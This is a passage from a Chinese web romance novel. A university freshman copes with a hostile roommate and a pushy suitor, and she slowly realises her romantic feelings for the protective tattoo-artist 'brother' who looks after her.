关倩看向闻野,少年无论长相和气质都凌厉得不近一点人情,她鼓足了勇气才小心翼翼地开口:“那个不好意思打扰一下,请问这两个长杆的支架要怎么组装呀?” “给我,我帮你装。”闻野淡声道。 关倩以为自己听错了,直到闻野朝她手伸过来,她忙不迭地把手里两个长杆递给他,连声道谢。 四五分钟,闻野就给她装好蚊帐,又看向另一个女生:“要我帮忙装上吗?” 考虑到小姑娘要住在这间宿舍住很久,他一个举手之劳,她和室友相处起来可能融洽一点。 丛佳慧受宠若惊:“要要要,太谢谢了!” 她和关倩看着闻野熟练的动作,不由感慨果真人不可貌相。看着冷冰冰又不好相处一人啊,实际是多么热心快肠,又多么乐于助人啊。 宋可媛眼睁睁看着她两个长得不怎么样的新室友都被闻野主动提出帮忙,又低头看见自己面前一堆摆得七零八落的杆子和白纱帐,她完全不知从哪儿下手,于是也萌生出找闻野帮一下的想法。 “你……”她忍气吞声地开口,“能不能帮我也装一下蚊帐?” 闻野就跟没听见似的,没给她一点眼风。 他接过小姑娘递来给他擦汗的纸巾,脖子和脸上的汗珠随意擦了几下,伸手拿起桌上她把小碎花的遮阳伞。 长腿抬起往门外走,那副冷淡的声音多了和其他人说话时没有的温柔:“走,去尝尝你们学校好吃的。” 两人在宿舍附近的食堂吃了午饭,又去逛校园。 说是逛,实际是闻野拿着发的指引地图,陪着她把图书馆,教学楼,校医院这些以后她可能会去的地儿认了个路。 W大就在本地,每个周末小姑娘都会回家,闻野倒还放心。 下午的太阳炙烤晒人,他没让她在外边久待,走了一圈就又把她送回寝室楼下,照例嘱咐了句有事给她打电话就先回去了。 林杳回到宿舍,三个新室友都在。 丛佳慧一脸疲惫对她道:“幸亏你下午出去,我和倩倩应付了几波来推销英语周报, 二外课程,驾校和污渍干系剂的学长学姐了。” 关倩语气庆幸:“我之前刷过贴吧,都说是这些上门推销的一个不要信,基本全是坑新生钱的。” 她转过凳子,眼睛亮亮地看着林杳,八卦兮兮地问:“早上和你一起那男生,是你男朋友吧?对你可真好,又是铺床又是打扫的,活都给你干完了,而且长得也好帅!” “不是,他是我哥哥。”林杳连忙解释。 “啊。”关倩一愣,她也有个哥哥,怎么就宁愿在家闲得抠脚也不愿意送她来报道呢? “你哥看着年纪也不大,应该还在上学吧,在哪个学校啊?”丛佳慧兴致勃勃地问道。 “没,他工作了,开了个纹身店。”林杳笑着如实答。 “哇好酷。” 宋可媛正逛着学校贴吧,闻言做了水钻的手指一顿,憋了一上午的闷气总算有了发泄口。 她露出大惊失色的表情:“天啊,你哥是做纹身的啊?!” 接着又阴阳怪气道:“我听说只有小混混和地痞流氓才在身上搞什么乱七八糟的纹身,林杳你哥天天接触这些人,你小心近墨者黑啊,别让你哥也被带着沾染上赌博吸毒这些毛病啊。” 林杳两道细眉拧起,生来的好脾气都没法克制此刻的恼怒,她倏地从板凳上站起来,径直走到蒋媛跟前。 她身上柔和的气质不见,像只亮出爪子的小狮子,透出凶悍的攻击性:“不会说话就把嘴巴闭上,不然你的无知和狭隘就会一览无余地暴露出来。” “谁说只有小混混才纹身,纹身除了表达个性,也可以纪念重要的人或事,很多国际知名的运动员身上都有纹身,时代在进步,你也更新一下观念吧,别活得得像个老古董一样。” 她冷静又字字清晰的一番话让宋可媛一下子噎住了,无从辩驳,脸色变得青红交加。 丛佳慧和关倩看得叹为观止,她们的新室友看着乖软,关键时刻还挺刚的啊! 两人又生怕她们打起来,连忙拉着林杳去食堂吃晚饭。 排队买饭时,丛佳慧劝她:“哎,杳杳你别理她这种人没素质又没情商的小公主,下午她问我哪儿的人,我回答之后她不屑地来一句听都没听过的小地方。” 林杳抿了抿唇,要是宋可媛说她也就算了,可她那样难听的话说闻野,自己怎么都不可能置之不理。 她要了碗烤肉饭,拿出饭卡在机器上滴的刷了一下。 “呀!”关倩小小惊呼了声:“杳杳你往饭卡里冲的钱太多了吧。” 林杳愣了下,不解地将注意移到刷卡机上,看到上面显示的饭卡余额后也惊讶到了。 这张饭卡是报道缴费后领取的,本来里面有一百块,可是在她中午和现在刷完后,剩的钱反而多了起来,变成2061块了。 得知不是林杳冲的,丛佳慧猜测:“该不会是学校系统出了故障吧?” 林杳想到另一种可能,拿出手机给闻野拨过去:“我饭卡里那么多钱是不是你给我充的啊?” 他应该还在回去的公交车上,她听到了报站声,继而是他嗯的一声。 食堂人声喧闹嘈杂,少年低懒磁沉,带着笑意的嗓音顺着电流传到她耳朵里:“我看你们食堂饭菜还不错,马上不军训了么,那么辛苦,你每天多买点好吃的,别再一回去瘦得我都不认识了。” 军训就在两天之后,为期半个月,再之后就是正式开学上课了,林杳长得漂亮,性格温柔好说话,无论在新的班级还是社团里人缘关系都处得很好。 闲聊时谈到家里人,别人知道她有个哥哥,顺理成章就问他是做什么的,林杳并没有受宋媛影响,大大方方地说闻野是做纹身的。 的确有少数人和宋可媛一样对纹身抱有极大的偏见,但大多数同学都接受度良好,还有些跃跃欲试,打算以后就找闻野纹身。 周五晚上,林杳回家,和闻野吃饭时说起这事。 她眼眸弯了弯,有点小骄傲道:“你看我还给你拉了生意呢。” 闻野沉默片刻,道:“以后你别和你同学说我是做纹身的。” “为什么啊?”林杳睁了睁眼,很茫然不解。 闻野漆黑瞳孔看着她,温声解释:“很多人都觉得纹身不好,连带着也觉得纹身师是很不正经的一份职业,我不想你因为我,在学校里被同学用偏见或者异样的目光看待。” “你凭本事赚钱,怎么就不是正经职业了?就算真有人因此用什么异样眼光看我,那只能说明他是顽固不化的老古董,这样的人,我还不想跟他打交道呢!” 少女气呼呼地说完,埋头吃饭,脸颊还鼓着,也不和他说话了,很明显还因着他那番话不高兴了。 闻野好笑之余心里又软软的:“是我说错了,我不该有这种想法,就罚今天的碗全部我来洗好了。” 林杳抬起眸觑他一眼:“本来家里的碗就一直是你洗呀。” 她想洗他从来都不让的。 小姑娘好哄,几句话就消了气。闻野问起他更在意的话题:“大学有没有男生追你?有没有遇到心仪的?” 军训还没结束完,就有同系的或者别院的男生在寝室楼下给林杳送奶茶送花,到现在都没消停。 就昨天,还有个她根本不认识的男生开着跑车来,要载她去给人当家教的地方,莫名其妙得很。 和闻野聊这个,她觉得有些不好意思,脸颊红了红,诚实地点了点头:“有男生追,我没有喜欢的,都拒绝了。” “我还要好好学习,争取期末拿一等奖学金呢。”她很有志气道,亮晶晶的杏眼向他许诺道:“等我拿了奖学金,我请你出去吃大餐。” 闻野有种松了口气和不该有的暗爽和窃喜感,唇弯了弯,对她十分有信心道:“好啊,那我等着你的大餐了。” 天气转凉,到十一月份又冷起来了,丛佳慧买了毛线每晚在寝室织围巾,她打算等到平安夜那天送给男朋友。 林杳看得心动,也去买了毛线,准备也给闻野织一条当作礼物,她拎着精心挑选的两团羊毛线和木棒针回到宿舍。 关倩见了,放下正追着的韩剧跑来盘问她:“啊啊啊啊杳杳你什么时候交的男朋友了啊?” 林杳被她的大惊小怪弄懵了:“我没交男朋友啊。” “你毛线都已经买回来了,我还以为你是像慧慧那样,准备织围巾给男朋友呢。” “是要织围巾,不过是给我哥织的。”林杳说着,从袋子里拿出钩针的步骤讲解图开始看。 “啊?一般围巾不都是女生亲手织给男朋友的嘛,一针一线全是来自女朋友的爱意,我还没听说谁给哥哥织的。” 关倩顺口道,至少她就肯定不会给她哥织围巾什么的! 林杳捏着那张图半晌的手指顿了顿,最后重新折叠好,和毛线和针一起放进衣柜最下面一格。 平安夜在周五,那天下午林杳有两节课思修课,快下课时她收到章瞳的消息。 章瞳:【杳杳我能拜托你个事嘛qaq】 林杳:【什么事呀?】 章瞳:【今天不是过平安夜嘛,你能帮我以你的名义把你哥约到电影院来吗,我想跟他看场电影】 林杳觉得这么骗闻野不好,拒绝了她的这个请求,章瞳也没再回复,她搁下手机继续做笔记。 过了好一会儿,章瞳才又发消息:【那杳杳今天你能就在学校宿舍睡别回家吗,我打算买上蛋糕红酒,拿着碟片去家里找他,拜托你了杳杳,我是真喜欢你哥,可他真的好难追呜呜呜】 章瞳:【杳杳你就给我和你哥创造一个单独相处的机会吧,你看你哥性格那么冷,要是以后没我这么主动的女生去追她,小心他孤独终老,你也不希望这样吧】 接着又是几个请求卖萌的表 情包。 下课铃响。 身旁的丛佳慧凑过来劝她:“杳杳晚上的部门团建你真参加啊?你每周五都回家,少回一次又没关系,难得部门经费吃喝玩乐,不去白不去呀。” 林杳目光还停留在手机的对话框上,闻言回神,想了想决定道:“我去吧,这周我就不回家了。” 第30章 第三十章 喜欢天仙嘛 今晚的聚餐是好几个部门一起的, 吃完饭后一行人又浩浩荡荡去了包下的那间潮玩馆,里面台球,桌游, 麻将, 射击, 各种玩乐的项目应有尽有。 林杳婉拒了好几个男生过来邀请她去玩这儿玩那儿的提议,就一个人拿着灌饮料坐沙发上喝, 看着投影仪放的一部文艺片电影。 丛佳慧玩完保龄球回来,一屁股坐她旁边,歪过脑袋看了她半天,林杳都被她看得莫名其妙的:“怎么了?” 丛佳慧:“我感觉你自从下午的思修课上完就一直不太开心。” 林杳有些心虚,眨着眼否认:“没不开心呀。” 丛佳慧狐疑地看着她,见她不愿意多说也不勉强,拉着她的手站起来:“走走走,这电影这么无聊有什么好看的,我们去玩游戏。” 她把林杳拉过去狼人杀的那桌,一开始玩得其乐融融的,直到宋可媛和她部门的几个女生也加入进来。 自报道那天起, 宋可媛的刻薄再加一身的公主病就把寝室三人都得罪了,别的宿舍吃饭上课一般都是四人行动, 她们宿舍永远是三人行。 不过宋可媛眼高于顶, 也不稀罕和她们玩就是了, 她和同部门另几个家境殷实的女生交往得更密切。 只不过在她嘴里, 因为她从不打扫卫生不倒厕所垃圾, 早起化妆弄出的声音把室友都吵醒,还有每晚和男友视频聊天到凌晨的这些矛盾,统统变成了三个室友仇富, 所以孤立她。 在宋可媛的描述里,林杳就是最坏的那个,长着一副清纯脸,实际是个白莲花,欲拒还迎地钓着不少男生,最会暗搓搓的使坏。 在她长期的耳濡目染之下,部门里那几个跟她玩得好的女生自然对林杳印象差到极点。 这会儿一起玩狼人杀时,被宋可媛一使眼色,游戏过程中全在针对林杳。 连着几轮林杳都最早被票出局淘汰,作为惩罚喝了几杯酒。 察觉出这几个女生的针对,林杳不玩了,丛佳慧也觉得这样好没意思,两人和各自部门的部长说了声打算直接回学校。 平安夜不好打车,连着经过的好几辆出租都载着客,酒精起了作用,林杳脸颊变得红扑扑的,头晕难受,还有些想吐。 丛佳慧让她先蹲下缓一缓。 又等了几分钟,还是没拦到出租,倒是一辆黄色的兰博基尼停在了她们跟前。 车窗摇下,露出男生一张普通,又十分轻佻又浪荡的脸。 徐洛一身名牌,潇洒地从跑车上下来:“今天过节,你们就算站这儿再吹半个小时冷风都难打到车,走,我送你们回去。” 他当初还不认识,就开着跑车等在林杳宿舍楼下,非要送她去兼职家教的地方,后来又一捧捧花托人带给林杳。 他也是外联部的部长,今晚的聚餐活动就是他策划的,一大半的钱都是他出的。 丛佳慧当然知道他追过自己室友,看这架势多半还不死心,她看向林杳,征询她的意见。 林杳不喜欢他,便不想和他有什么牵扯。 她摇了摇头,声音清冷:“前面有公交车站,我坐公交回去。” 徐洛当初追林杳追得大张旗鼓,然而少女顶着一张乖软的脸,拒绝起人来却是毫不留余地,一点机会不给,他面子多次受挫,又怕闹成全校的笑话,不得已才放弃。 可今晚一见她,那漂亮得和什么似的模样又让他歇了的心思蠢蠢欲动,死灰复燃。 “别啊,坐公交一颠一跛的坐着多难受,你本来就喝醉了,小心吐车上,我开车稳,保证把你舒舒服服,平平安安地送回学校。” 见林杳要走,徐洛不想放过这难得一遇的机会,情急之下抓住她手,还没来得及拉进车里,一道颀长高瘦的人影冲了过来。 “松开。” 压着怒和火,嗓音冷到极点。 徐洛看向出声的人,少年穿着件黑色冲锋衣一头利落短发,五官和侧脸线条如刀刻般冷硬,目光阴鸷地盯着他,骨节分明的手指已紧攥成拳,指背突出一截清晰的青筋。 用行动表明,他不照做就是挨拳头的份了。 徐洛赶紧松开抓着林杳的手,做完又觉得自己表现得太怂,太跌份。 “你谁啊你?”他昂着脖子质问。 “她哥。” 闻野不再他一眼,撂下这句朝着林杳走去。 林杳脑袋还晕着,仰起粉扑扑的脸看他,湿漉漉的眸子弯了弯,含糊的声音听着软糯糯的:“哥哥。” 闻野看她模样就知道是喝醉了,伸手牵住她,对报道那天见过一次的丛佳慧道:“我带她回家。” 丛佳慧也记得闻野,知道他们的关系,对于把林杳交给她哥自然没有什么不放心的。 闻野牵着她往前面更容易打到车的路口走,小姑娘腿软,走得慢吞吞地,他怕她喝醉了再吹冷风更难受,弯身直接将人打横抱起来。 林杳乖乖地伸手勾着他脖子。 丛佳慧走在两人后边,打算坐个公交回学校,见到此情此景,感觉有点怪怪的,脑子里下意识冒出武林外传的那句台词—— 杳杳和她哥是什么关系呀,她咋瞅着有点不正常呢?- 打到车后,闻野把怀里的人放进后座,自己也跟着坐进去。 林杳现在脑袋不太清醒,但也知道闻野不该出现在这里,更有可能是和章瞳一块儿在家看电影。 “你怎么过来啦?”她抬起长睫不解地看着他。 今天是平安夜,闻野本来买了好些她爱吃的菜,下午还没开始做就收到她的消息,说晚上部门聚餐,今天就不回来了。 他于是也没了做饭的心思,随便凑合着把肚子垫吧下得了,七点钟,敲门声响起,他还想着不是聚餐之后还有活动么,怎么这么早就回来了,钥匙也不带。 一开门,看见章瞳,拎着瓶红酒和蛋糕,说什么要和他看电影过节。 他没那个兴致,也没让她进去,之后他给林杳发去几条消息,问她几点回学校,到寝室了给他说一声,又叮嘱她饮料什么的离开视线就不要再喝了。 林林总总一堆,小姑娘一条没回。 这放在平时是绝对不可能的,他不放心,就过来找她。 不过她醉得厉害,他说多了她听起来也费劲,简洁道:“给你发消息没回,怕你遇上什么事了。” 林杳从羽绒服兜里摸出手机,纤白的手指慢腾腾地戳着手机,q.q里几条他的未读消息,还有短信息和未接电话。 “我和他们玩狼人杀,没注意看手机,害你担心了,还白跑一趟,对不起啊。”她绯红的小脸写满歉意。 闻野在意的并不是这个,而是她一个女生大晚上的在外边喝醉,刚还差点被那不知是谁的男的拉上车,这让他着实有些恼。 他拧起眉,脸色沉了几分:“你才多大就喝酒?你每天不照镜子么,不知道自己长得有多漂亮招人,多少男的眼睛如狼似虎地盯着你呢,万一遇上个心术不正的,你知道会发生什么么?” 一长串话,林杳被酒精麻痹的思维一时处理不了这么多,听完之后只记得“漂亮招人”这四个字。 是他在夸她呢,还有些高兴。 闻野见她不知悔改,还翘着唇角,笑眯眯的模样,简直要气死! 他用手指头戳了戳她软软的脸颊,语气严厉道:“还笑,教训你呢知道不?” “噢。”少女把嘴角压下去,乖乖正色。 “你个小姑娘还挺双标,上次让我别喝多了,扭头自己就喝醉了。再被我发现在外面喝这么多酒,就……” 闻野试图说出一个具有威慑的惩罚,然而就了半天也没就说个所以然。 根本舍不得。 最后只能硬邦邦的语气道:“就每顿菜里都给你放几把香菜。” 作为最讨厌香菜的人,林杳立刻皱了皱鼻子,软声软气地解释:“我不会再喝那么多了,今 天也是因为做游戏,输了的人就要喝酒接受惩罚,喝的都是啤酒。” “啤酒也不行,就你这破酒量,以后米酒都少喝……” “而且我今晚还有点不开心,都说一醉解千愁,我就想试试,可没有解愁,还好难受。”她瘪着嘴道。 闻野训斥的话语戛然而止,脸上冷硬的表情维持不住:“怎么不开心了?测验没考好,还是和同学闹矛盾了?” 一句句听着全像是关心高中生的问题让林杳又莫名其妙有点不高兴了,难道她就不能拥有一点属于成人的烦恼吗。 她脸颊鼓了鼓,任性道:“头晕,不想说话。” “……” 闻野没辙,搞不懂她突然来的小脾气,只能让她先靠着自己肩膀休息。 今晚路况不好,平时四十多分的车程变成了一个多小时,林杳靠着闻野的肩膀慢慢睡着了。 怕车厢里太闷,闻野把车窗拉开条缝隙,又怕冷风把她吹感冒,脱了自己的冲锋衣披在她身上。 到了小区的巷子外,她脚才挨地,他就直接把抱了起来,到家后也放下,一直把她抱回房,放到床上。 他把她身上的羽绒服脱了挂衣架上,穿着紧身的牛仔裤睡觉肯定不舒服,但让他来脱那是肯定不行的。 闻野扯过被子盖着她:“自己把裤子脱了。” 林杳在被子里脱了牛仔裤和加绒的保暖裤,蹬出被子外,闻野给她叠好放旁边的椅子,伸手:“袜子脱了给我。” 她又把脚上那双卡通棉袜脱下,闻野接过放好:“先别睡,我给你去冲杯蜂蜜水上来。” 等闻野端着水杯上来,就看到小姑娘抱着被子坐在床头,脑袋搁在膝盖上,困恹恹又强撑着不让眼皮阖上,当真听话又可爱得不行。 闻野勾了勾唇,坐到床边把水杯递给她,还不忘提醒:“慢着点喝。” 林杳喝了几口,唇从玻璃杯的杯口挪开,晕着水雾的大眼睛看向他,闷着声问:“今晚你们看了哪部电影啊?” 闻野愣了下,有点没反应过来:“什么电影?” 林杳也有些愣:“章瞳和我说了今晚要带碟片和你一起看。” 闻野语气淡淡道:“那我更不可能知道了,我又没让她进门。” 林杳怔了怔,按理说这么冷的天,又是过节,对方大老远地来找他,他哪怕只有一点喜欢,也干不出连门都不让人进的事。 可是章瞳长得很漂亮,性格开朗,身材还好,她每条说说底下都有好多男生留言,约她出去玩或者是更直白地示爱。 算起来她对闻野主动追了小半年了,他还一点不为所动,俗话不是说,女追男隔层纱吗。 那闻野的要求是不是太高了点啊,难不成他喜欢天仙嘛。 闻野见她眼珠子提溜转,也不知在想什么,催促道:“不是困了么,赶紧喝完睡觉。” 林杳喝完杯子里剩下的蜂蜜水,少年一截冷白的腕骨朝他伸来,她握着空杯子递过去一半,又突然缩回。 喝醉的神智只有三分清醒,却也变得更大胆,无所顾忌一些。 “那你、你喜欢什么样的女生啊?” 闻野伸在半空的手臂一僵,他垂眸,少女醉得绯红的小脸仰着,睁着一双大眼睛望他,一副求知若渴的模样。 他深深看着她,喉咙动了动:“你现在都醉了,我说了你能记得住?” 没哪个喝醉的人会认为自己糊涂了,林杳也不例外,她很笃定地点了点头,向他保证:“我很清醒的,我一定记得牢牢的。” 闻野说了个两位数的加法让她算:“来,测试一下你醉了没。” 林杳听了后拿手指头在掌心写写划划了半天,才一脸自信地报出错误的答案。 闻野嘴角扯了扯,算是放心了,漆黑的瞳孔看进她眼里:“我喜欢的女生啊。” 他不自觉笑了下,声音也温柔了许多:“长了张顶顶漂亮的脸蛋,皮肤很白,有一双大大的杏子眼,笑起来弯弯的像月牙,会跳舞,成绩好,学习刻苦努力,性格温柔又善良,个子不高不矮,一米六五左右,体重87斤。” 说到这点时,他不禁蹙了下眉:“有点太瘦了,要是她能再重个十多斤就更好了。” 林杳集中注意力听完,脑袋歪了歪:“我怎么感觉你说的这个女生,我好像认识,还很熟悉。” “就是,怎么都想不起来是谁。”她咬着唇思考半天,脑壳都想疼了,最后沮丧道。 “想不起来就别想了。”闻野把枕头放下,让她躺下。 心底深抑的渴望此刻无需掩藏,他抬手,珍惜爱怜地摸了摸她脸颊,眼底是万顷深情和迷恋。 她还一无所觉。 他笑了声,哑着声,似呢喃似轻哄:“乖,快睡吧。” 睡醒一觉就什么都忘了。魔.蝎.小.说.m.o.x.i.e.x.s..c.o.m &m.o.x.i.exs& 30-40 第31章 第三十一章 一辈子对她好 啤酒的后劲不大, 第二天林杳睡醒后头就不晕了,只不过对昨晚发生的事记得不太清楚,只模糊的有个大概的印象。 好像是玩游戏时她被宋可媛和她几个朋友针对, 喝了几杯啤酒, 后来闻野来找她, 就把她带回了家。 中间具体说了什么又做了什么就完全想不起来了。 她从枕边拿起因电量耗尽自动关机的手机。 插上充电线,长按开机键, 屏幕亮起后弹出段长达一个多小时的录音,出现保存和删除两个选项。 她什么时候还录音了啊? 林杳有些奇怪,费劲地想了想,模糊地记起昨晚回家后她收到了部长的消息,问她到学校没。 她拿手机回复了,可能大概也许就是那时不小心触碰到了录音键的吧? 林杳选择保存,也想听听自己喝醉之后有没有在闻野面前胡言乱语,撒酒疯。 她把手机拿到耳边,听到录音里闻野说没和章瞳一起在家看电影时,还不厚道地有点开心。 紧接着又听到她问他喜欢什么样的女生时,林杳脑子一懵, 心紧跟着又提了起来。 隔了一晚,手机里传来闻野当时的回答, 她边听心脏边砰砰地跳着。 也听到自己随后说感觉他说的这种女生很熟悉, 感觉认识。 昨晚她脑袋昏沉, 怎么都想不起这人是谁, 现在林杳却一下子明白这种熟悉感源于何处。 因为他说的大部分特征, 她都符合的啊! 顶顶漂亮吧这点吧,没个具体的评价标准,但从小到大她也听过不少别人夸她好看的话。 至于其他的, 什么皮肤白,杏子眼,会跳舞,她都是的,唯一一点有差距的就是体重,他说希望那女生有九十多斤,比她现在重些。 可能他不喜欢太瘦的女生,但这也不是什么大问题,她又不是不会长胖。 心里喜悦像刚开瓶的汽水,晃出细细密密的小气泡,等那些泡泡都消失,林杳冷静下来,开始思考这份喜悦出现的原因—— 其实也很显而易见,因为她喜欢闻野。 不是所谓妹妹对哥哥的喜欢,而是异性之间的心动。 所以很早之前听到彭一凡说他以后找女朋友的事会吃醋,会因为孟瞳而情绪低闷,也会在发现他很可能喜欢她这样的女生后而高兴起来。 原来一切早就有迹可循。 敲门声响了两下,随即是少年懒洋洋带着笑的声音:“都中午了,还没醒呐。” 林杳回神:“醒了,马上起来。” 她快速洗漱下楼,桌上菜肴丰富,昨天闻野没做的菜今天都弄上了,她去厨房盛了两碗饭出来。 因为每次做饭洗碗的都是闻野,她觉得这样分配不公平,他就把盛饭的活儿分配给了她。 正吃着糖醋排骨,林杳听到闻野问自己:“昨天为什么不开心?” “啊?”她有点懵。 闻野见她全然不记得的模样,提醒道:“你昨天说有点不开心,所以想试着借酒消愁。” “……” 林杳没法实话实话是因为孟瞳,只能含糊其辞扯了个理 由糊弄过去,她舔了舔唇上的一点酱汁,看向他:“我其实以前学过跳舞。” 从八岁开始,一直学到十六岁,搬到这边来以后才再没碰过舞蹈。 她从没和闻野提过这事,可她说完发现他脸上的表情毫无波澜,连眉毛都没动一下。 “你怎么那么平静,一点都不意外嘛?” 听到小姑娘不满地嘟囔,闻野筷子一顿,这对他来说根本不算什么新鲜事,在认识她之前,更先看到的是她翩然起舞的样子。 “我刚才还没反应过来。”他轻咳了声,挑了挑眉露出惊诧之色:“你怎么这么多才多艺,连跳舞都会。” 林杳这才满意了,虽然夸自己让她有点不好意思,但还是红着脸道:“我以前跳得还挺好的,就是两年多没碰有点生疏了,等我寒假多练练之后再跳给你看呀。” 她眼眸亮晶晶的,闻野想起初见的那一面。 十几岁的小少女一袭水袖,脸上的婴儿肥还没褪去,五官尚且青涩稚嫩,都已经有种惊人的美,让他一直走不出那一眼。 如今她出落了一张顶顶好看的脸,身材纤细又多了玲珑的曲线,他想象不出她再跳舞时是什么模样。 他凸出锋利的喉结滑动了下,唇勾了勾:“好啊。” 反正他这辈子,也没打算走出那一眼。 “你下午做完家教的兼职我去接你,你陪我去逛商场看看衣服。” 林杳每周六下午要给个初中女生补习英语,从两点半到五点,闻野差不多时间提前等在小区门口,接到她之后先去附近的商场吃饭。 今天是圣诞节,商场里的氛围最为浓厚,一进去就是一颗大大的圣诞树,旁边还摆着架钢琴,扮作圣诞老人的工作人员弹奏出欢快的歌曲。 随处可见一对对年轻的小情侣。 两人先找了家西餐厅吃晚饭,吃完,林杳跟着闻野走进一家羽绒服店。女店员走过来接待,想当然地认为是男生陪着女朋友来买。 “这一列都是当季新品,今天过节做活动,全场每件九折。” 林杳看着那一列女款,想说他们想看的是男装,话才到嘴边,闻野走了过去,修长手指拎出一件浅粉色的羽绒服,拿着递到她跟前。 “试试看。” 林杳愣了愣:“我没说要买衣服呀。” “圣诞礼物啊。”闻野勾了下唇,理所应当的语调道:“今天有男朋友的女生有男朋友送礼物,你没男朋友,自然是我这个哥哥来送了。” 这个牌子的羽绒服不便宜,一件都上千了,林杳本来不想要,但转念一想,还是从他手里接过了。 她换上试了试,尺码和款式很合身,又问店员有没有其他颜色的。 “这件粉色的你穿着就挺好看的。”闻野在一旁给出参考意见。 林杳也喜欢这件粉色的,但还考虑了更实际的问题:“羽绒服不好洗,深色的更经脏一些。” 闻野不赞成地微拧眉头:“你只管穿得漂漂亮亮的,弄脏了我给你拿到干洗店去洗。” 犹豫了下,林杳还是遵从心意,选了更喜欢的粉色,大不了她之后穿的时候更小心着点。 她朝他仰起小脸,依葫芦画瓢道:“那……别的有女朋友的男生都有女朋友送圣诞礼物,你没有女朋友,那就我送你了。” 她这几月做兼职攒的钱还有个一两千。 闻野好笑地哼笑了声,点头:“行,学得还挺快。” 他先去把这件结账了,林杳兴致勃勃地去给他挑衣服,拿了几件他都不满意,连试都不肯试一下。 “那你自己来选吧。”她鼓了鼓脸,心里不免嘀咕,挑女朋友要求高,选件衣服也这么挑剔。 闻野踱着步走到个架子前,挑出一双18块9的羊绒袜,表情挺满意的:“呐,就这个吧,圣诞送袜子,绝配。” 见她不动,他扬了扬眉骨,懒漫笑着反问:“怎么,又反悔了,小气吧啦起来,不愿意送我礼物了。” 林杳:“……” “哪有这样的,你送我一千多的羽绒服,我送你18块9的袜子。”她皱着脸吐槽。 “你这观点不对啊。”闻野眉梢轻挑,否认她这一想法。 接着给她讲道理:“送礼物讲究的是心意,怎么能用金钱衡量,我喜欢难道不是最重要的?何况我天天不是在家就是在纹身店,穿那么好看给谁看,还不如买双好袜子保暖又实用。” 何况一千块,够小姑娘在食堂吃好多顿饭了。 他一套套的,说得林杳没法反驳,见她还好大不情愿的表情,闻野妥协地又去挑了六双:“这样行了吧,我一个星期的袜子都有了,快去付账啊。” 林杳只得去付钱,打完折后一百出头。 两人又坐直达的电梯下去。 到底是女孩子,换了新衣服,林杳忍不住对着里面的镜子多照了照,唇角有也些高兴地翘起来。 闻野目光睨着镜子里的小姑娘,嘴角的弧度跟着上扬了几分。 情侣分分合合,终成眷属的少。他打着哥哥的名号,却能一辈子对她好- 周日林杳也有家教的兼职,做完回到学校,正好是晚饭的点,她和两个室友约着到食堂吃饭。 丛佳慧注意到她比平时多打了个菜,饭的分量也多点:“杳杳你今天食欲很好啊。” “嗯。”林杳点点头:“我最近要多吃点,争取在寒假时多长几斤肉。” 丛佳慧表情变得冷漠:“好了,从从现在起到这顿饭结束,我都不会再跟你讲一句话了。” 突然被冷战的林杳:“?” 关倩附和着点头,一脸愤慨道:“杳杳你知道你刚才那句话对我和慧慧两个喝凉水都会长胖的人来说造成了多么大的伤害嘛!” 林杳:“……” 她只是觉得她再长胖一点,会更贴近闻野喜欢的标准。 两个室友说是一顿饭不理她,但其实很快又说上话。 又上了几天课就到了期末复习周,她没再回家,专心留在学校复习。 作为大一新生,她和室友第一次感受到期末的威力,之前还挺空的图书馆自习室一下子人满为患,大冬天早上七点多钟过去,座位都坐满了。 林杳和室友只得每人轮流,更早起的去占位置,她每天学得起早贪黑,刻苦程度不亚于备战高考。 她还记着自己之前说的话呢,拿了奖学金之后请闻野吃大餐。 但可能是没休息好,又是流感高发期,自习室里打喷嚏擤鼻涕的声音此起彼伏,临考的前几天她也被传染得生病了。 林杳借了辆自行车去校医院看,拿了盒退烧药,但吃了也没好转,烧一直不退,每晚流汗很多,身体发冷。 她怕又传染给其他人,去考试时都一直戴着口罩。 最后一门考的是传播学概论,学校里到处是拖动行李箱的身影,一片终于解放了的轻松气氛。 林杳先回到宿舍,她把寒假还打算要看的几本教材放进行李箱,想了想,又把之前买回来还没织的两团毛线也塞了进去。 宋可媛早早走了,她和关倩还有丛佳慧一起把宿舍打扫了遍,又把阳台的窗户锁好。 手机刚好响了,她收到闻野的消息,说已经到寝室楼下了。 她赶紧拎起行李箱下去,在楼道里就看见闻野的身影,少年身高腿长,站在辆黑色吉利前,冷白脖颈略略低着,骨节分明的手里拿着个手机,百无聊赖地随便刷着。 每每有脚步声传来,闻野都撩起眼皮看一眼,直到看见双手拎着行李箱的林杳从楼梯走下来。 他立刻走过去,接过她的行李箱,视线落在把她小脸遮住一半的口罩上,眉皱了起来:“生病了?” “得了流感。”林杳声音从口罩下传出来,翁瓮的。 闻野拉开汽车后备箱,拎起行李箱放进去,对上小姑娘睁圆的 杏眸,他拉开副驾驶的车门:“前几天买的,先上车。” 林杳坐了上去,还是觉得惊讶,一辆汽车多贵啊。 闻野看出她心中所想,解释道:“二手的,成色看着挺新,三万不到拿下。” 这钱差不多是他这小半年赞的,有辆车出门,以后接送她回学或者去哪儿都方便得多。 他伸手去摘她耳朵上挂着的口罩:“本来身体就难受,戴久了更闷。” 林杳“诶”了声,试图阻止也没成功,有点着急道:“车里这么小空间,我把流感传染给你怎么办呀。” 闻野将她那口罩一折放自己衣兜里,侧头瞄着她,唇勾了勾,理直气壮地问:“我身体抵抗力好得很,你看我什么时候生过病?” 林杳回想了下,好像确实是的,认识以来他连感冒都没得过一次。 但她一下子又想起当初她刚搬过来时,有天她被留在办公室改卷子,突然下大雨,他拿着伞过来接她,还说什么怕她生病了传染给他。 她心里微微一动,竟然在这么早的时候他就在对她好了。 闻野手握着方向盘,转动方向:“什么时候得的流感?” “一个星期前吧。” “这么久了。”闻野眉拧得深了些:“我们去医院看看。” “我之前去校医院看过了,也开了药,流感本来就要一个多礼拜才好,别去医院折腾了吧。” 闻野在关乎她身体健康的事上不敢马虎,声音仍温和,却也透着不容商量的坚决和强硬:“校医院有时不靠谱,我们去大医院看一下,才能更放心。” 到医院先做了ct检查,结果得等两个多小时才能出来,林杳被安排着住进一间三人床的病房,另外两个病人刚出院,现在就她一个。 生病加上连天考试的疲乏,在充斥着消毒水的病房,她一挨上枕头就睡着了。 闻野跟个本来晚上要来店里纹身的客人改了时间,去医院下面买了点吃的回来,检查做到现在,两人都还没吃晚饭。 “杳杳,醒醒。” 连着喊了几声,才让小姑娘没精打采地睁开眼。 “起来把晚饭吃了再睡,不然病更难好。”他先拆开给她买的那碗火腿瘦肉粥。 林杳浑身没力气,推拒说没胃口,不想动也不想吃,硬是被他非扶着坐了起来。 